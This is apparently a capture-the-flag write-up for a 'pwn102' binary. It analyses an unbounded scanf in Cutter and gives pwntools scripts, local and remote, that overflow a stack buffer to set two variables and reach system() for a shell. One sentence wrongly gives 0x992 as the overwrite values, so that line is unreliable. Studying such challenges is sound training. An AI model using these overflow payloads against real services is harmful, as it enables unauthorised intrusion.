Challenge Name : pwn102

category : pwn

File check

Load file to Cutter . If you dont have cutter this is ref video on how to download and setup your cutter https://shorturl.at/thoTb

Cutter-v2.3.4-Linux-x86_64.AppImage pwn102-1644307392479.pwn102&

In Dashboard we can see the protection and the file format.

Canary : False
NX bit : True
PIC    : True

Lets check out the assembly code in Graph(main). There is scanf function being call

0x00000954      5 e8f7fdffff             call    __isoc99_scanf ; sym.imp.__isoc99_scanf ; calls a subroutine, push eip into the stack (esp) ; int scanf(const char *format)

Lets see the man page for scanf

man scanf

BUGS
       It  is  impossible  to  accurately know how many characters these functions have consumed from the input stream,
       since they only report the  number  of  successful  conversions.   For  example,  if  the  input  is  "123\n a",
       scanf("%d %d", &a, &b) will consume the digits, the newline, and the space, but not the letter a.  This makes it
       difficult to recover from invalid input.

I see . This function can be use in buffer overflow as gets() function

Goal

to call the system() function in the main

0x0000098b      5 e890fdffff             call    system ; sym.imp.system ; calls a subroutine, push eip into the stack (esp) ; int system(const char *string)

In order to get to that functionwe must make our rbp-4 = 0xc0ff33 and rbp - 8 = 0xc0d3 based on this code here

 817dfc33ffc000         cmp     dword [rbp - 4], 0xc0ff33 ; compare two operands
0x00000960      2 7530                   jne     0x992 ; jump short if not equal/not zero (zf=0)
|
0x00000962      7 817df8d3c00000         cmp     dword [rbp - 8], 0xc0d3 ; compare two operands
0x00000969      2 7527                   jne     0x992 ; jump short if not equal/not zero (zf=0)

Buffer Overflow

scanf take rbp - 0x70 and this is value we have to overwrite rbp-4 = 0x992 and rbp - 8 = 0x992

Python Script

Locally


from pwn import *

context.binary = binary = "./pwn102-1644307392479.pwn102"

# buf = rbp - 70
# rbp-4 = 0xc0ff33 and rbp - 8 = 0xc0d3
# payload = padding + 0xc0d + 0xc0ff33 

payload = b"A" * (0x70 - 0x8) + p32(0xc0d3) + p32(0xc0ff33)

p = process()
p.recv()
p.sendline(payload)
p.interactive() 

Remote

from pwn import *

context.binary = binary = "./pwn102-1644307392479.pwn102"

# buf = rbp - 70
# rbp-4 = 0xc0ff33 and rbp - 8 = 0xc0d3
# payload = padding + 0xc0d + 0xc0ff33 

payload = b"A" * (0x70 - 0x8) + p32(0xc0d3) + p32(0xc0ff33)

#p = process()
p = remote("10.10.246.99",9002)
p.recv()
p.sendline(payload)
p.interactive()